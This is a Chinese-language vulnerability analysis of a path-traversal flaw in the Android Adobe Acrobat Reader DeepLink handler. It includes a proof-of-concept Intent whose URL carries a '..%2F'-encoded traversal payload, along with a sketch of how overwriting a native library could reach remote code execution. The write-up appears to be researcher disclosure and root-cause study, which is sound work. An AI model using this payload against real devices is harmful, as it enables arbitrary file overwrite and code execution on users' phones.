[Adobe] [Acrobat Reader] AdobeReader处理DeepLink时未正确进行合法性校验导致下载PDF文件过程出现路径穿越可造成远程代码执行

日期
版本
描述
作者

2022.05.25

1.0

完整的漏洞分析与利用

wnagzihxa1n

0x00 漏洞概述

在安卓版本的Adobe Acrobat Reader中存在一个导出组件,其接收DeepLink处理过程中存在路径穿越导致下载的PDF文件可以覆盖任意私有目录下的文件,当合理构造覆盖文件的数据时即可实现任意代码执行,结合该组件可以通过浏览器访问,最终可达到通过浏览器访问一条链接即可远程代码执行效果

0x01 触发条件

上线时间
应用名
包名
版本号
MD5
下载链接

2021.06.29

Adobe Acrobat Reader

com.adobe.reader

21.6.0.18197

4566eeb9e5a5145dafe909e2beddaa55

https://www.apkmonk.com/download-app/com.adobe.reader/4_com.adobe.reader_2021-06-29.apk/

0x02 PoC

发送如下Intent,可在本应用私有目录下写入poc.pdf文件

Intent intent = new Intent();
intent.setClassName("com.adobe.reader", "com.adobe.reader.AdobeReader");
intent.setDataAndType(Uri.parse("http://192.168.0.102:8000/..%2F..%2F..%2F..%2F..%2Fdata%2Fdata%2Fcom.adobe.reader%2Fpoc.pdf"), "application/*");
intent.putExtra("hideOptionalScreen", "true");
startActivity(intent);

观察私有目录文件

crosshatch:/data/data/com.adobe.reader # ls -al
total 237
drwx------  11 u0_a163 u0_a163         3488 2022-03-09 03:31 .
drwxrwx--x 203 system  system         24576 2022-03-07 02:14 ..
drwxrwx--x   3 u0_a163 u0_a163         3488 2022-03-07 02:16 app_com_birbit_jobqueue_jobs
drwxrwx--x   2 u0_a163 u0_a163         3488 2022-03-07 02:16 app_textures
drwxrwx--x   5 u0_a163 u0_a163         3488 2022-03-07 02:16 app_webview
drwxrws--x  52 u0_a163 u0_a163_cache   8192 2022-03-09 03:31 cache
drwxrws--x   2 u0_a163 u0_a163_cache   3488 2022-03-07 02:14 code_cache
drwxrwx--x   2 u0_a163 u0_a163         8192 2022-03-09 03:31 databases
drwxrwx--x  10 u0_a163 u0_a163         3488 2022-03-09 03:31 files
drwxrwx--x   2 u0_a163 u0_a163         3488 2022-03-07 02:16 no_backup
-rw-------   1 u0_a163 u0_a163       176936 2022-03-09 03:31 poc.pdf  // <--
drwxrwx--x   2 u0_a163 u0_a163         4096 2022-03-09 03:31 shared_prefs

0x03 前置知识

Uri在调用方法getLastPathSegment()时的两种表现

表现一,也是最正常的使用

表现二,我们使用%2F编码符号/,导致取出的值带上了非预期的符号

如果用这个Uri去构造URL,我们也能保留..%2F

0x04 Root Cause

组件com.adobe.reader.AdobeReader导出,且支持使用DeepLink打开在线PDF文件

挑选一条外部可控的调用路径,此处的MAM可以不用在意,按照onResume()来理解即可

关于onMAMCreate()类型的方法可以参考以下文档

  • http://msintuneappsdk.github.io/ms-intune-app-sdk-android/reference/com/microsoft/intune/mam/client/app/MAMActivity.html#onMAMCreate(android.os.Bundle)

从DeepLink调用到Activity会根据环境的不同而有不同的表现,比如当前组件未被打开,会调用onCreate(),如果已经打开且存在于任务栈中,则会调用onNewIntent(),最终都会走到onResume()

回到应用,直接看onMAMResume(),只需要我们传入Uri的Host符合条件,就可以进入[1],控制字段"hideOptionalScreen""true"就可以让shouldDisableOptionalSignForAutomation()返回true,注意这里是"true"不是true

如下构造POC即可使业务逻辑走到[2]

Frida代码

调用栈如下

handleIntent()一共有五个判断点,前四个判断点不能进入,只能进入第五个判断点

第一个判断点只有在返回键被按下才会成立,所以正常调用的情况下不会进入

第二个判断点

第三个判断点

第四个判断点,只要是http或者https即可绕过

第五个判断点

如下构造POC即可使业务逻辑走到[3],添加了Uri和Type字段

Frida代码

调用栈如下

跳转到ARFileURLDownloadActivity后,会将传入Uri的Path字段取出并构造出一个文件路径,用于界面展示,然后传进来的数据会被整合传递到ARFileURLDownloadService

进入ARFileURLDownloadService后,会先判断当前是否有下载任务,此处我们不考虑复杂场景,直接跳过这个分支,字段"FILE_PATH_key"和其它两个字段用于构造ARURLFileDownloadAsyncTask对象,[6]开始处理业务逻辑

对类ARURLFileDownloadAsyncTask的构造方法进行注入

调用栈和参数如下

[7]调用到方法ARURLFileDownloadAsyncTask.downloadFile(),方法BBIntentUtils.getModifiedFileNameWithExtensionUsingIntentData()会对需要下载的文件进行路径识别并返回一个重新编辑过的文件名,此处即是漏洞点

重新编辑文件名的逻辑如下,结合前置知识,此处可以通过..%2F来编码../,从而造成返回的文件名变成../poc.pdf

打印方法BBIntentUtils.getModifiedFileNameWithExtensionUsingIntentData()的返回值

Frida代码

打印出来的返回值带上了../

同时我们也看下传入downloadFile()的参数

Frida代码

运行日志

最后的下载逻辑需要使用到重新编辑的文件名,具体实现在方法getDocPathForExternalCopy()里,这个方法会到存储卡上找一个目录,拼接上重新编辑过的文件名,返回最后要下载存储的文件路径,进入[9]

Frida代码

打印日志,可以看到路径穿越的前提条件构造好了

下载的逻辑其实不需要分析逻辑,只需要看[10],直接使用带../的文件路径进行写入,所以这里存在应用内任意私有文件写漏洞

0x05 漏洞调试与利用

本地开启服务,在站点根目录下放置poc.pdf文件

构造能正常运行业务逻辑的Intent

运行起来后能看到成功获取到我们放置的poc.pdf文件,且对应的下载目录出现poc.pdf

现在我们修改POC,实现能够往上穿越一层路径的效果

成功实现穿越

这时候我们就该思考一个关键问题了:有没有什么文件覆盖掉之后能造成任意代码执行?

通过对本应用私有目录的分析,发现有动态库可以覆写

Adobe官方对该漏洞的修复是使用正则匹配路径中的非法字符

0x06 漏洞研究

整个流程分析下来,我们可以明显感受到该漏洞所执行的代码只占业务逻辑相当小的一部分,我们完全可以对其它分支进行进一步的研究

0x07 References

  • https://hulkvision.github.io/blog/post1/

附录:调试过程记录

Frida运行命令

启动本地服务器

Last updated